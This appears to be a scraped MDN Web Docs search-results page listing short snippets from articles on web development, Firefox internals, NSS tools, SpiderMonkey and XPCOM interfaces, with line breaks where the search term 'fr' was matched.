frame containing the instance, the instance is destroyed and the plug-in may be unloaded.
... _parent: load the link into the immediate <
frameset> parent of the plug-in instance's document.
...And 4 more matches
Browser Feature Detection - Archive of obsolete content
it is clear
from these test results that netscape 7.0x and mozilla firefox have the greatest dom support although internet explorer, safari, and opera have sufficient dom css 1 and dom level 1 & 2 document property and method support to enable cross browser web development.
...lts cross reference dom core level 1 support for properties/methods in document name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocument
fragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete sin...
... true true dom core level 2 support for properties/methods in document name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocument
fragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete sin...
...And 4 more matches
Writing JavaScript for XHTML - Archive of obsolete content
this was common practice in html, to hide the scripts
from browsers not capable of js.
...before processing the file, all comments will be stripped
from the document, so enclosing your script in them is like throwing your lunch in a piranha pool.
... we found out already, that the document object in xml files is different
from the ones in html files.
...And 4 more matches
Audio for Web games - Game development
there is further information about it here
from the google developers site.
... audio sprites audio sprites borrow their name
from css sprites, which is a visual technique for using css with a single graphic resource to break it into a series of sprites.
...to play a specific sound
from the file, we just use the known start and stop times for each audio sprite.
...And 4 more matches
2D breakout game using Phaser - Game development
next » in this step-by-step tutorial, we create a simple mobile mdn breakout game written in javascript, using the phaser
framework.
...you will learn the basics of using the phaser
framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms,
framework-specific helper functions, animations and tweens, and winning and losing states.
... lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: initialize the
framework scaling load the assets and print them on screen move the ball physics bounce off the walls player paddle and controls game over build the brickfield collision detection the score win the game extra lives animations and tweens buttons randomizing gameplay as a note on learning paths — starting with pure javascript is the best way to get a solid knowledge of web game development.
...And 4 more matches
Backgrounds and borders - Learn web development
from adding gradients, background images, and rounded corners, backgrounds and borders are the answer to a lot of styling questions in css.
...the available values are: no-repeat — stop the background
from repeating altogether.
...in this case, you may end up with gaps on either side or on the top and bottom of the image, if the aspect ratio of the image is different
from that of the box.
...And 4 more matches
Handling different text directions - Learn web development
english or
french) better than right-to-left languages (such as arabic).
...the writing-mode property lets us switch
from one writing mode to another.
... so the writing-mode property is in reality setting the direction in which block-level elements are displayed on the page — either
from top-to-bottom, right-to-left, or left-to-right.
...And 4 more matches
Floats - Learn web development
tes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } if you save and re
fresh now, you'll see something much like what you'd expect — the box is sitting above the text, in normal flow.
... to float the text around it add the float and margin-right properties to the .box rule: .box { float: left; margin-right: 15px; width: 150px; height: 100px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } now if you save and re
fresh you'll see something like the following: float example 1 <h1>simple float example</h1> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
... while we can add a margin to the float to push the text away, we can't add a margin to the text to move it away
from the float.
...And 4 more matches
Supporting older browsers - Learn web development
a basic level of support comes
from structuring your content well so that the normal flow of your page makes sense.
... * {box-sizing: border-box;} .wrapper { background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1
fr 1
fr 1
fr; } .item { float: left; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> note: the clear property also has no effect once the cleared item becomes a grid item, so you could have a layout with a cleared footer, which...
... in the floated layout, the percentage is calculated
from the container — 33.333% is a third of the container width.
...And 4 more matches
Web fonts - Learn web development
fonts generally aren't
free to use.
...this video provides a nice walkthrough: active learning: a web font example with this in mind, let's build up a basic web font example
from first principles.
...there are generally three types of sites where you can obtain fonts: a
free font distributor: this is a site that makes
free fonts available for download (there may still be some license conditions, such as crediting the font creator).
...And 4 more matches
How can we design for all types of users? - Learn web development
relative units are
friendlier to accessibility because they respect the settings on the user's system.
...this works as of internet explorer 9 and in every other current browser, so please feel
free to use this unit.
...also, check your website's statistics: you may receive visits
from older browsers.
...And 4 more matches
How do I use GitHub Pages? - Learn web development
you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn
from it, and improve on it.
... every operating system comes with a command line tool: windows: command prompt can be accessed by pressing the windows key, typing command prompt, and choosing it
from the list that appears.
... note that windows has its own command conventions differing
from linux and os x, so the commands below may vary on your machine.
...And 4 more matches
What is a Domain Name? - Learn web development
summary domain names are a key part of the internet in
frastructure.
... deeper dive structure of domain names a domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read
from right to left: each of those parts provides specific information about the whole domain name.
...for example: local tlds such as .us, .
fr, or .se can require the service to be provided in a given language or hosted in a certain country — they are supposed to indicate a resource in a particular language or country.
...And 4 more matches
Basic native form controls - Learn web development
they can benefit
from spell checking (using the spellcheck attribute), if the browser supports it.
...the best way to protect users
from this is to host any pages involving forms over a secure connection (i.e.
... browsers recognize the security implications of sending form data over an insecure connection, and have warnings to deter users
from using insecure forms.
...And 4 more matches
UI pseudo-classes - Learn web development
back to our required/optional example
from before, this time we'll not alter the appearance of the input itself — we'll use generated content to add an indicating label (see it live here, and see the source code here).
... :valid and :invalid you can target
from control using the :valid and :invalid pseudo-classes.
... a
fragment of the html is as follows — note the readonly attribute: <div> <label for="name">name: </label> <input id="name" name="name" type="text" value="mr soft" readonly> </div> if you try the live example, you'll see that the top set of form elements are not focusable, however, the values are submitted when the form is submitted.
...And 4 more matches
JavaScript basics - Learn web development
javascript is versatile and beginner-
friendly.
...these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream
from a user's webcam, or generating 3d graphics and audio samples.
... third-party apis that allow developers to incorporate functionality in sites
from other content providers, such as twitter or facebook.
...And 4 more matches
What’s in the head? Metadata in HTML - Learn web development
you should also try opening the code up in your code editor, editing the contents of these elements, then re
freshing the page in your browser.
...utf-8 is a universal character set that includes pretty much any character
from any human language.
...let's go through an exercise to explore this go to the
front page of the mozilla developer network.
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
</table> as you can infer
from the brief example above, the caption is meant to contain a description of the table contents.
... open up your language teacher's school timetable
from the end of html table basics, or make a local copy of our timetable-fixed.html file.
...the "sum" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing
from the code.
...And 4 more matches
General asynchronous programming concepts - Learn web development
if a function relies on the result of another function, it has to wait for the other function to finish and return, and until that happens, the entire program is essentially stopped
from the perspective of the user.
...this cursor is how the operating system says "the current program you're using has had to stop and wait for something to finish up, and it's taking so long that i was worried you'd wonder what was going on." this is a
frustrating experience and isn't a good use of computer processing power — especially in an era in which computers have multiple processor cores available.
...when a web app runs in a browser and it executes an intensive chunk of code without returning control to the browser, the browser can appear to be
frozen.
...And 4 more matches
Build your own function - Learn web development
we've seen this before, but let's just re
fresh our memories.
... const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); finally, we use an globaleventhandlers.onclick event handler to make it so that when the button is clicked, some code is run to delete the whole panel
from the page — to close the message box.
... try saving and re
freshing the page — now you should see the message box appear when you click the button.
...And 4 more matches
Basic math in JavaScript — numbers and operators - Learn web development
6 + 9 - subtraction subtracts the right number
from the left.
... operator precedence let's look at the last example
from above, assuming that num2 holds the value 50 and num1 holds the value 10 (as originally stated above): num2 + num1 / 8 + 2; as a human being, you may read this as "50 plus 10 equals 60", then "8 plus 2 equals 10", and finally "60 divided by 10 equals 6".
... operator precedence in javascript is the same as is taught in math classes in school — multiply and divide are always done first, then add and subtract (the calculation is always evaluated
from left to right).
...And 4 more matches
Solve common problems in your JavaScript code - Learn web development
for example: function myfunction() { alert('this is my function.'); }; this code won't do anything unless you call it with the following statement: myfunction(); function scope remember that functions have their own scope — you can't access a variable value set inside a function
from outside the function, unless you declared the variable globally (i.e.
... not inside any functions), or return the value
from the function.
... running code after a return statement remember also that when you return
from a function, the javascript interpreter exits the function — no code after the return statement will run.
...And 4 more matches
Working with JSON - Learn web development
it is commonly used for transmitting data in web applications (e.g., sending some data
from the server to the client, so it can be displayed on a web page, or vice versa).
...even though it closely resembles javascript object literal syntax, it can be used independently
from javascript, and many programming environments feature the ability to read (parse) and generate json.
...this is a very useful javascript object that allows us to make network requests to retrieve resources
from a server via javascript (e.g.
...And 4 more matches
Introducing JavaScript objects - Learn web development
in javascript, most things are objects,
from core javascript features like arrays to the browser apis built on top of javascript.
... looking to become a
front-end web developer?
... object prototypes prototypes are the mechanism by which javascript objects inherit features
from one another, and they work differently to inheritance mechanisms in classical object-oriented programming languages.
...And 4 more matches
Multimedia: video - Learn web development
for the average website, 25% of bandwidth comes
from video.
... optimizing video delivery it's best to compress all video, optimize <source> order, set autoplay, remove audio
from muted video, optimize video preload, and consider streaming the video.
... compress all videos most video compression work compares adjacent
frames within a video, with the intent of removing detail that is identical in both
frames.
...And 4 more matches
Learning area release notes - Learn web development
june 2020 our
front-end web developer learning pathway is officially launched!
... check it out for an opinionated pathway to follow for learning
front-end development!
... also see our hacks post — introducing the mdn web docs
front-end developer learning pathway — for more information about the rationale behind it.
...And 4 more matches
Properly configuring server MIME types - Learn web development
if the web server or application reports an incorrect mime type for content, a web browser has no way, according to the http specification, of knowing that the author actually intended the content to be processed and displayed in a way different
from that implied by the reported mime type.
...this has sheltered many web administrators
from their own errors, since internet explorer will continue to process content as expected even though the web server is misconfigured, e.g.
...for security reasons, gecko 2.0 will no longer do this for stylesheets loaded
from a different origin than the requesting document.
...And 4 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
previous overview: client-side javascript
frameworks next as we near the end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app.
...we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something
from the array.
...first, import usestate into the todo component like we did before with the app component, by updating the first import statement to this: import react, { usestate }
from "react"; we'll now use this to set an isediting state, the default state of which should be false.
...And 4 more matches
React resources - Learn web development
previous overview: client-side javascript
frameworks next our final article provides you with a list of react resources that you can use to go further in your learning.
...for this app, we could have for example written a dedicated form.css file to house the styles of those respective components, then imported the styles into their respective modules like this: import form
from './form'; import './form.css' this approach makes it easy to identify and manage the css that belongs to a specific component.
... however, it also
fragments your stylesheet across your codebase, and this
fragmentation might not be worthwhile.
...And 4 more matches
Vue resources - Learn web development
previous overview: client-side javascript
frameworks next now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.
...studying the vue source code can help you better understand how the
framework works, and write better code.
... nuxtjs — nuxtjs is a server-side vue
framework, with some architectural opinions that can be useful to creating maintainable applications, even if you don’t use any of the server side rendering features it provides.
...And 4 more matches
Git and GitHub - Learn web development
git is an example of a vcs, and github is a web site + in
frastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more.
... looking to become a
front-end web developer?
... hello world (
from github) this is a good place to start — this practical guide gets you to jump right into using github, learning the basics of git such as creating repositories and branches, making commits, and opening and merging pull requests.
...And 4 more matches
Tools and testing - Learn web development
once you've started to become comfortable programming with core web technologies (like html, css, and javascript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools,
from javascript
frameworks, to testing and automation tools, and more besides.
... on top of that, we still need to keep cross-browser support in the fore
front of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the web, and be usable by people with disabilities.
... looking to become a
front-end web developer?
...And 4 more matches
Accessibility/LiveRegionDevGuide
this guide was written
from an atk/at-spi point of view as part of the orca live region support project.
...it is responsible for queuing messages derived
from live region events, where priority is determined by chronological order and the live politeness properties.
...these "non-live" events may be events originating
from the chrome, user interaction in the chrome or document, document loading events, or real live region events
from hidden tabs.
...And 4 more matches
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard behavior, which can vary
from platform to platform.
...since the individual widgets predominately come
from the operating system, they already implement standard keyboard commands and follow the operating system's visual theme.
... owner drawn toolkits , like xul and flash's flex ui
framework use few or no native widgets.
...And 4 more matches
Configuring Build Options
build options, including options not usable
from the command-line, may appear in "confvars.sh" files in the source tree.
... building with an objdir this means that the source code and object files are not intermingled in your directory system and you can build multiple applications (e.g., firefox and thunderbird)
from the same source tree.
... example mozconfig files mozilla's official builds use mozconfig files
from the appropriate directory within each repository.
...And 4 more matches
Creating Custom Events That Can Pass Data
note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data
from javascript.
...your event in order for your event to work you must do the following: create a scriptable interface called nsidom{youreventname} inheriting
from nsidomevent.
...}; implement the interface you created with a class that inherits
from nsdomevent.
...And 4 more matches
Experimental features in Firefox
nightly 50 no developer edition 50 no beta 50 no release 50 no preference name layout.css.initial-letter.enabled conic gradients conic gradients expand css gradients to allow the color transitions to be rendered circling around a center point rather than radiating
from it.
... developer edition 33 no beta 33 no release 33 no preference name media.track.enabled dom document property: autoplaypolicy the document property autoplaypolicy returns a string indicating how the browser handles requests to automatically play media (either using the autoplay property on a media element or by attempting to trigger playback
from javascript code.
... nightly 66 no developer edition 66 no beta 66 no release 66 no preference name dom.media.autoplay.autoplay-policy-api geometryutils methods: convertpoint
fromnode(), convertrect
fromnode(), and convertquad
fromnode() the geometryutils methods convertpoint
fromnode(), convertrect
fromnode(), and convertquad
fromnode() map the given point, rectangle, or quadruple
from the node on which they're called to another node.
...And 4 more matches
How Mozilla determines MIME Types
http for http uris mozilla usually gets a mime type sent
from the server, and uses it.
... externalhelperappservice (located at uriloader/exthandler/nsexternalhelperappservice.cpp) the file->mime type mapping works like this: on beos, the operating system is asked for the type of the file (not quite yet, bug 217723) on macos, the type and creator code will be used to lookup the type of the file
from the os a hardcoded list of extensions is checked (containing currently 13 entries, nsexternalhelperappservice.cpp line 463 (this is done for speed – it is faster to find data in the hardcoded list than asking the os or looking in preferences) if the extension is not listed there, it becomes interesting.
...when loading an uri with a type that mozilla can not handle, a helper app dialog shows up, and the displayed information comes
from these sources: ask the os for a handler of the given <extension, mime type> pair.
...And 4 more matches
PBackground
at build time the ipdl compiler automatically generates a large amount of c++ glue code
from the ipdl files.
...all actors in a tree "live" on the same thread, and can only be used safely
from that thread.
... for example, when we are uploading textures
from the content process we don't need to go through the main thread of the parent process.
...And 4 more matches
OSFile.jsm
consequently, one of the key design choices of os.file is to provide operations that are low-level enough that they do not hide any i/o
from the developer (which could cause the developer to perform more i/o than they think) and, since not all platforms have the same features, offer system-specific information that the developer can use to optimize his algorithms for a platform.
...
from the main thread most uses of os.file are
from the main thread.
... calling os.file
from the main thread asynchronous, off-main thread file i/o, main thread api.
...And 4 more matches
Basics
however, mathml documents tend to be verbose and you might get lost trying to locate a mathml
fragment with the usual view source.
...you can right-click on any math
fragment of interest throughout this document.
...rather, the math
fragment will zoom, and if you right-click a second time, you will see the mathml wysiwyg markup of the
fragment, and if you right-click again a third time, the
fragment will revert to its initial state.
...And 4 more matches
Fonts for Mozilla 2.0's MathML engine
on most linux distributions and similar open source platforms, you can install math fonts (stix, asana or mathjax fonts)
from your package manager or get them
from this zip archive.
...asana math is also
freely available under the sil open font license and has good support for mathematical characters.
...these fonts are
freely available under the apache license.
...And 4 more matches
GC and CC logs
generating logs
from within firefox to manually generate gc and cc logs, navigate to about:memory and use the buttons under "save gc & cc logs." "save concise" will generate a smaller cc log, "save verbose" will provide a more detailed cc log.
... (the gc log will be the same size in either case.) with multiprocess firefox, you can't record logs
from the content process, due to sandboxing.
...
from the commandline tldr: if you just want shutdown gc/cc logs to debug leaks that happen in our automated tests, you probably want something along the lines of: moz_disable_content_sandbox=t moz_cc_log_directory=/full/path/to/log/directory/ moz_cc_log_shutdown=1 moz_cc_all_traces=shutdown ./mach ...
...And 4 more matches
Localization Use Cases
in all presented examples, we try to show the existing code, explain the problem
from the localizers' or developers' perspective, and suggest a solution.
...0 : 1; var sizeinfo = filesizeformatter.getreadablefilesize(size, fixeddigits); var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } the function is used like so: // application storage updateapp
freespace: function storage_updateapp
freespace() { var self = this; this.get
freespace(this.appstorage, function(
freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize',
freespace); }); }, problem definition for all values of
freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} ...
...consequently, using the existing localization
frameworks, the developer needs to predict which strings might need pluralization in other languages, and pluralize them even in english: availablesize = {[ plural(size) ]} availablesize[other] = {{$size}} {{$unit}} available an italian translation might look like this: availablesize = {[ plural(size) ]} availablesize[one] = {{$size}} {{$unit}} disponibile availablesize[other] = {{$size}} {{$unit}} disponibili it's easy to imagine how developers might forget to pluralize some strings that in other languages might require pluralization (or other grammatical features that the
framework supports).
...And 4 more matches
Using JSS
freebl_* processor-specific optimized big-number arithmetic library.
... if you built jss
from source, you have these libraries in the mozilla/dist/<platform>/lib directory of your build tree.
... if you are downloading binaries, get them
from the binary release locations in the above table.
...And 4 more matches
Overview of NSS
server products
from red hat: red hat directory server, red hat certificate system, and the mod_nss ssl module for the apache web server.
... server products
from oracle (formerly sun java enterprise system), including oracle communications messaging server and oracle directory server enterprise edition.
... nss includes a
framework to which developers and oems can contribute patches, such as assembler code, to optimize performance on their platforms.
...And 4 more matches
NSS tools : crlutil
the options and arguments for the crlutil command are defined as follows: -g create new certificate revocation list(crl).- -d delete certificate revocation list
from cert database.
... -i import a crl to the cert database -e erase all crls of specified type
from the cert database -l list existing crl located in cert database file.
...if options -m|-g is used and -c crl-script-file is not specified, crlutil will read script data
from standard input.
...And 4 more matches
NSS Tools pk12util
the tool allows you to import certificates and keys
from pkcs #12 files into nss or export them and also list certificates and keys in such files.
...the options and arguments for the pk12util command are defined as follows: options -i p12file import a certificate and private key
from
from the p12file into the database.
... -o p12file export certificate and private key, specified by the -n option,
from the database to the p12 file.
...And 4 more matches
NSS tools : crlutil
-d delete certificate revocation list
from cert database.
... -i import a crl to the cert database -e erase all crls of specified type
from the cert database -l list existing crl located in cert database file.
...if options -m|-g is used and -c crl-script-file is not specified, crlutil will read script data
from standard input.
...And 4 more matches
Tutorial: Embedding Rhino
this tutorial leads you through the steps
from a simple embedding to more customized, complex embeddings.
... in this document: runscript: a simple embedding entering a context initializing standard objects collecting the arguments evaluating a script printing the result exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects
from java using javascript variables calling javascript functions javascript host objects defining host objects counter example counter's constructors class name dynamic properties defining javascript "methods" adding counter to runscript runscript: a simple embedding about the simplest embedding of rhino possible is the runscrip...
...all it does it read a script
from the command line, execute it, and print a result.
...And 4 more matches
SpiderMonkey Build Documentation
s." you can try configuring like so: cc=clang cxx=clang++ ../configure it is also possible that baldrdash may fail to compile with /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found, err: true this is because, starting
from mohave, headers are no longer installed in /usr/include.
... for example on debian linux you'll need the following to cross compile
from x86_64 to x86.
... building your application while "how to build your complete application" is clearly out of scope for this document, here are some tips that will help get you on your way: the spidermonkey developers
frequently and deliberately change the jsapi abi.
...And 4 more matches
GC Rooting Guide
from the user perspective, a js::rooted<t> instance behaves exactly as if it were the underlying pointer.
...js::handle<t> exists because creating and destroying a js::rooted<t> is not
free (though it only costs a few cycles).
...js::mutablehandle<t> is exactly like a js::handle<t> except that it adds a .set(t &t) method and must be created
from a js::rooted<t> explicitly.
...And 4 more matches
Getting SpiderMonkey source code
you can get the spidermonkey source code in gzipped form or directly
from the mercurial repository.
... downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code
from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... getting the latest spidermonkey source code
from mercurial the mercurial repository at https://hg.mozilla.org/mozilla-central/ hosts the latest spidermonkey sources.
...And 4 more matches
Statistics API
the following adds an observer using the jetpack
framework.
...mport('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at which the gc ended, measured
from epoch.
... times: object - a map
from phase names to the total time taken by each phase: the sum of each field of the map
from the slices.
...And 4 more matches
JSAPI Cookbook
but in a jsnative the correct way to do this is: /* jsapi */ bool mynative(jscontext *cx, unsigned argc, js::value *vp) { js::callargs args = js::callargs
fromvp(argc, vp); jsobject *global = js_getglobalforobject(cx, &args.callee()); ...
... } defining a function // javascript function justforfun() { return null; } /* jsapi */ bool justforfun(jscontext *cx, unsigned argc, js::value *vp) { js::callargs args = js::callargs
fromvp(argc, vp); args.rval().setnull(); return true; } ...
...*/ js::rootedobject obj(cx, js_new(cx, constructor, args)); if (!obj) return false; calling a global js function // javascript var r = foo(); // where f is a global function /* jsapi * * suppose the script defines a global javascript * function foo() and we want to call it
from c.
...And 4 more matches
JSAutoByteString
this article covers features introduced in spidermonkey 17 take ownership of a string and
free it later.
... void clear()
free the owned string.
... you should call this before calling encode* methods or initbytes method if a string is already owned, otherwise the string will never be
freed.
...And 4 more matches
JS_DeleteElement2
removes a specified element or numeric property
from an object.
... renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... obj js::handleobject object
from which to delete an element.
...And 4 more matches
JS_DeleteProperty2
removes a specified property
from an object.
... renamed to js_deleteproperty
from jsapi 39.
...ucceeded); bool js_deleteucproperty2(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, bool *succeeded); bool js_deletepropertybyid2(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...And 4 more matches
JS_THREADSAFE
requests in a js_threadsafe build, the application must separate code that uses the jsapi
from code that performs blocking i/o or time-consuming calculations.
...*/ js_endrequest(cx); a request is always associated with a specific jscontext and runs
from start to finish on a single thread.
... most jsapi callback functions are always called
from within a request.
...And 4 more matches
SpiderMonkey 45
you can download full source code
from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45.
... compiling it requires a c++ compiler, and the jsapi can only be used
from c++ code.
...lelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunction
fromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::setsize (bug 1159469) js::sethas (bug 1159469) js::setdelete (bug 1159469) js::setadd (bug 1159469) js::setclear (bug 1159469) js::setkeys (bug 1159469) js::setvalues (bug 1159469) js::setentri...
...And 4 more matches
Creating a Python XPCOM component
tip: you can achieve a copy of binary of pyxpcom
from pythonext; simply unpack xpi and take everything you need.
... if you wish to use pyxpcom
from a normal python executable, you will need to tell python where it can find the pyxpcom library.
...pay special attention to types here - python and javascript are both loosely-typed, so it's fairly easy to pass information
from one to the other.
...And 4 more matches
Detailed XPCOM hashtable guide
items are found, added, and removed
from the hashtable by using the key.
... inserting/removing: o(n): adding and removing items
from a large array can be time-consuming o(1): adding and removing items
from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
... hashtables are useful for sets of data that need swift random access; with non-integral keys or non-contiguous integral keys; or where items will be
frequently added or removed.
...And 4 more matches
Language bindings
an xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects
from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are xpcom bindings.
... more specifically, an xpcom language binding: enables access to xpcom objects
from that language (where access means reading/writing/creating xpcom objects as well as calling methods on them).
...nager interface can be called directly on this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistack
frame (idl definition) that represents a snapshot of the current javascript callstack.
...And 4 more matches
imgICache
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache.
...any images
from windows in private browsing mode will not be present in the cache returned
from a call with a null parameter).
... method overview void clearcache(in boolean chrome); nsiproperties findentryproperties(in nsiuri uri); void removeentry(in nsiuri uri); methods clearcache() evict images
from the cache.
...And 4 more matches
imgIRequest
inherits
from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that this image was loaded with.
... imageprincipal nsiprincipal the principal gotten
from the channel the image was loaded
from.
... status_size_available 0x1 we received enough image data
from the network or filesystem that we know the width and height of the image, and have thus called setsize() on the container.
...And 4 more matches
mozIStorageStatement
inherits
from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document.
... void finalize(); note: this method does not need to be used
from native callers because you have to release the statement in order to not leak.
... autf8string getcolumnname( in unsigned long acolumnindex ); parameters acolumnindex the zero-based numerical index for the column to get data
from.
...And 4 more matches
nsIAccessibleHyperLink
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessible getanchor(in long index); note: renamed
from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type description anchorcount long the number of anchors within this hyperlink.
...note: renamed
from anchors in gecko 1.9 exceptions thrown ns_error_failure indicates that the accessible is unattached
from the accessible tree.
... exceptions thrown ns_error_failure indicates that the accessible is unattached
from the accessible tree.
...And 4 more matches
nsIAnnotationService
supported for use
from trusted code, such as extensions, but not
from web content.
... 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-service;1".
...you should only use it
from the main thread.
...And 4 more matches
nsIApplicationCache
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) each application cache has a unique client id for use with nsicacheservice.opensession() method, to access the cache's entries.
...inactive caches are removed
from the cache when no longer referenced.
...future loads associated with this group will come
from this cache.
...And 4 more matches
nsIComponentRegistrar
inherits
from: nsisupports last changed in gecko 1.0 method overview void autoregister(in nsifile aspec); void autounregister(in nsifile aspec); string cidtocontractid(in nscidref aclass); nscidptr contractidtocid(in string acontractid); nsisimpleenumerator enumeratecids(); nsisimpleenumerator enumeratecontractids(); boolean iscidregistered(in nscidref aclass); boolean iscontractidregistered(in string acontractid); void registerfactory(in nscidref aclass, in string aclassname, in string acontractid, in nsifactory afactory); void registerfactorylocation(in nscidref aclass, in string aclassname, in string acontractid, in ns...
...this method may only be called
from the main thread.
...this method may only be called
from the main thread.
...And 4 more matches
nsIContentSniffer
components implementing this interface can determine a mime type
from a chunk of bytes.
... inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-content-sniffers category.
...method overview acstring getmimetype
fromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetype
fromcontent() given a chunk of data, determines a mime type.
...And 4 more matches
nsIEditorSpellCheck
inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/editor/editorspellchecker;1.
... size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getnextmisspelledword(); void getpersonaldictionary(); wstring getpersonaldictionaryword(); wstring getsuggestedword(); void ignorewordalloccurrences(in wstring word); void initspellchecker(in nsieditor editor, in boolean enableselectionchecking); void removeword
